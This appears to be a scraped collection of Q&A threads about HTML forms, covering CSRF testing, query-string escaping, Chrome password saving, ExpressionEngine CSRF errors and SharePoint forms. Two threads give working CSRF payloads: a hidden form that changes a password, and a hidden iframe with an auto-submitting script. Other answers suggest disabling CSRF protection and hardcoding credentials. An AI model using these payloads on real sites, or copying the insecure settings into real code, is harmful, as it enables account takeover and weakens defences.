How to construct a Cross Site Request Forgery attack? - security

I am taking a network security class, and one of our assignments is to find security bugs in open source projects.
This one project that I am working seems susceptible to a CSRF. I constructed the following attack, where I trick the user to click a link containing the following:
<form onsubmit="top." action="http://localhost/aphpkb/change_password.php" method="post">
<input type="hidden" value="hacked" name="password1" size="20" maxlength="20" />
<input type="hidden" value="hacked" name="password2" size="20" maxlength="20" />
<input type="submit" name="submit" value="Click here for a new Camry!!" />
</form>
This attack works and changes the password of the site when the user is currently logged into the site.. however, the result of the page gets rendered to the end user. I tried various methods to "quietly" POST the form (PHP based methods and JS based methods) with no avail.
Can anyone provide some guidance and perhaps point me in the right direction as to whether it's possible to silently POST to another website?

Set the form's target to a hidden <iframe>.

Related

For posting back on itself with query string

I have
<form action="?#cgi.query_string#" method="post" ...
The cgi.query_string comes in with an indefinite number of variables. I tried using
<form action="?#EncodeForURL(cgi.query_string)#" method="post" ...
Should I be doing any kind of escaping?
You are using method="POST" in your form tag. So you're trying to have a page with both a query string (URL scope) and a form body (FORM scope), correct?
I'm not sure that's best practice or even allowed by some browsers (I read elsewhere they'll strip query strings on POST actions).
The best solution might be to make the action either GET or POST, and loop through the query string making each item a hidden input?
<cfloop list="#CGI.query_string#" delimiters="&" index="i">
<input
type='hidden'
name='#listFirst(i, "=")#'
value='#listLast(i, "=")#'
/>
</cfloop>
As you say, you can't do this. Your specific question was whether you should do any escaping. The answer to that is "yes" and the location is going to be on the backend, parsing the query string.
<cfoutput>
<form action='?#CGI.query_string#' method='POST' class='form-horizontal bordered-group' role='form' id='test'>
<input
class='form-control'
type='text'
name='formvar'
/>
<input
class="btn btn-primary btn-lg btn-block"
type="submit"
value="Submit"
/>
</form>
</cfoutput>
Will submit a form to the same page, with the FORM scope present, the URL scope present, and the CGI.query_string defined. The CGI.query_string will have url formatting (%20 for space, etc). The FORM and URL scopes will already be decoded (%20 converted to space, etc).
It seems the crux of your question is really about security and sanitization. In which case you'll want to examine encodeForHTML() (Adobe Docs for encodeForHTML()).
Obviously, this isn't 100% foolproof, since I don't know the details of your code and what you do with the input. But those sanitization functions should be a good start.
So very generally, if you use the URL scope, use encodeForHTML(), and if you use #CGI.query_string#, it will be URL-encoded.

Forcing Chrome to never save password on a specific site

I'm at beginner level for Chrome Extension development, but not new to software development. I manage ChromeOS devices across an entire school district. There is a specific testing site that requires students to login with a username and password. The password is always the same depending on a specific test. Teachers are finding that students are using saved passwords to skip to the next quiz.
We can disable password saving for all sites, enable it, or allow user to configure. I really do not want to disable password saving, as it is useful (especially for younger children) to not have to retype the password.
My only solution at this point is to push out an extension that manually adds the site .neversavepassword.com to the "Never Save" section of the Manage Password. However, after searching for the last 2 days I cannot seem to find any information on how I would do this (it does not seem possible).
What are my options at this point? The site already uses "autocomplete=off" but Chrome is ignoring this.
Here is the login form.
<div class="row-wrapper">
<div class="login-row">
<label for="tbUsername">User Name </label>
<input name="ctl00$cp_Content$tbUserName" type="text" value="test" maxlength="50" id="tbUserName" tabindex="1" class="loginTB" autocomplete="off" />
</div>
<div class="login-row">
<label for="tbPassword">Password </label>
<span><input name="ctl00$cp_Content$tbPassword" type="password" maxlength="20" size="25" id="tbPassword" tabindex="2" class="loginTBn" /></span>
</div>
<div class="login-row">
<button onclick="__doPostBack('ctl00$cp_Content$btnLogIn','')" id="btnLogIn" type="button" class="button hollow white" tabindex="3">
<span id="ctl00_cp_Content_spLogin" class="text">Log In </span>
<span class="glyph glyph-chevron-next"></span>
</button>
</div>
I'm thinking I can modify the form via javascript, but so far I've not had luck.
I appreciate any suggestions with this issue. Thank you!
First off, Chrome's official position is more or less "ignore any attempts to circumvent that".
Extensions cannot interact with the password manager, so that's not a way to a solution.
Update: There is chrome.privacy.services.passwordSavingEnabled, but that doesn't allow fine-tuning by site, it's only an on/off switch.
I've seen a page circumvent the mechanism by grabbing the credentials from the form with page code, clearing the form, and then doing a POST that's not connected with the original form. That confuses Chrome enough to think that the values were not used. Again, there's a good reason not to do this.

Expression engine: This form has expired. Please refresh and try again

I've got a problem with the contact form in Expression Engine. I'm using the code from the docs but after submitting I'm getting this error :
This form has expired. Please refresh and try again.
My code:
{exp:email:contact_form user_recipients="no" recipients="my#emailadress.com" charset="utf-8"}
<h2>Support Form</h2>
<p>
<label for="from">Your Email:</label><br />
<input type="text" id="from" name="from" size="40" maxlength="35" value="{member_email}" />
</p>
<p>
<label for="subject">Subject:</label><br />
<input type="text" id="subject" name="subject" size="40" value="Contact Form" />
</p>
<p>
<label for="message">Message:</label><br />
<textarea id="message" name="message" rows="18" cols="40">
Support Email from: {member_name}
Sent at: {current_time format="%Y %m %d"}
</textarea>
</p>
<p>
<input name="submit" type='submit' value='Submit Form' />
</p>
{/exp:email:contact_form}
I'm using Expression Engine 2.8.0. Thanks guys!
EE requires an XID to be in the form. There is a global variable you can use to generate an XID hash:
<input type="hidden" name="XID" value="{XID_HASH}" />
http://ellislab.com/blog/entry/putting-the-secure-in-secure-mode-forms
For us, adding this to the config.php 'fixed' the problem (more like, put a bandaid on it since it's not an ideal situation)
$config[‘disable_csrf_protection’] = “y”;
I was having this problem only in Chrome and not in Firefox or Safari. I dug into the PHP and realized that it failed this check in Csrf.php:
// Fetch data, these methods enforce token time limits
$this->fetch_session_token();
$this->fetch_request_token();
// Main check
if ($this->request_token === $this->session_token)
{
return TRUE;
}
Then I realized that I had set Chrome to block cookies. I set it so Chrome would allow cookies and I am no longer getting that error message.
I think that's a problem with the secure forms XID hash. You can only submit a form once while using "secure forms" (to stop spammers hijacking them).
A quick way of disabling it is to open system/expressionengine/config/config.php and add this down the bottom to disable it. See if that makes a difference for you.
$config["secure_forms"] = "n";
Obviously using secure forms is preferable though.

Example of silently submitting a POST FORM (CSRF)

I'm interested in knowing how it is possible to silently submit a POST form for CSRF, without the user having any notice (the document location being redirected to the POSTed URL is not silent).
Example:
<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>
On an external site, what would I need to do to trigger this form automatically and silently?
One solution would be to open the form’s action in a frame like an iframe:
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
<input type='hidden' name='criticaltoggle' value='true'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
When testing CSRF locally you may have to overcome several security measures.
For Blocked loading mixed active content errors, ensure the protocol (http/https) of the attacker site and target site are the same, or use "//" as protocol for attacker site. Example attack on localhost:
<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
<input type='hidden' name='boo' value='true'>
<input type='submit' value='Submit'>
</form>
Alternatively set Firefox security.mixed_content.block_active_content to false.
If using Angular, security options prevent you using inline javascript, so you'll need to move the submit to code-behind on the attacker site:
ngOnInit() {
const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
myForm.submit();
}
Finally the attacker site's header 'x-frame-options' must not be set.

Add a form with POST method on a SharePoint 2010 page?

The HTML I got asked to add to a page is:
<div>
<div> Click below to enter</div>
<form id="formID" method=POST action="http://www.someWebsite.com">
<input type="submit" name="do_login" value="Log in" />
<input type="hidden" name="username" value="someUsername" />
<input type="hidden" name="password" value="somePassword" />
</form>
</div>
I know I can't add a form like that because there is already on that SharePoint created, I had a look at http://www.sharepointboris.net/2008/09/making-post-and-get-forms-from-sharepoints-pages/ but when I follow the example and save SharePoint still strips out most of the code so how can I achieve what I want in another way?
Thanks in advance.
For our SharePoint 2007 installation, I created a quiz web part. Basically, it pulls questions and answers from a list, but the actual questions are presented and submitted using a form with POST variables. It's probably much more complex and in-depth than you're looking to go, but I made a custom web part to present the form, read the post variables, and execute associated functions. The big plus to using a custom web part is that you're able to put in nearly any content you want, since you're coding it in ASP.NET.
What I did was to create a custom .aspx page (not through the sharepoint gui) with the code I posted in my question, uploaded the page to a library and then linked to it via a page viewer web part
You can get the form to work as normal if you remove the tags and place the form control inside a div like so:
<div>
<div> Click below to enter</div>
<div id="formID" method=POST action="http://www.someWebsite.com">
<input type="submit" name="do_login" value="Log in" />
<input type="hidden" name="username" value="someUsername" />
<input type="hidden" name="password" value="somePassword" />
</div>
</div>
This way sharepoint will accept everything inside the div tags. In a asp.net when you create a page in sharepoint, the whole page is containied withing a form that why sharepoint does not allow you to use another form within it.
Hope this helps

Resources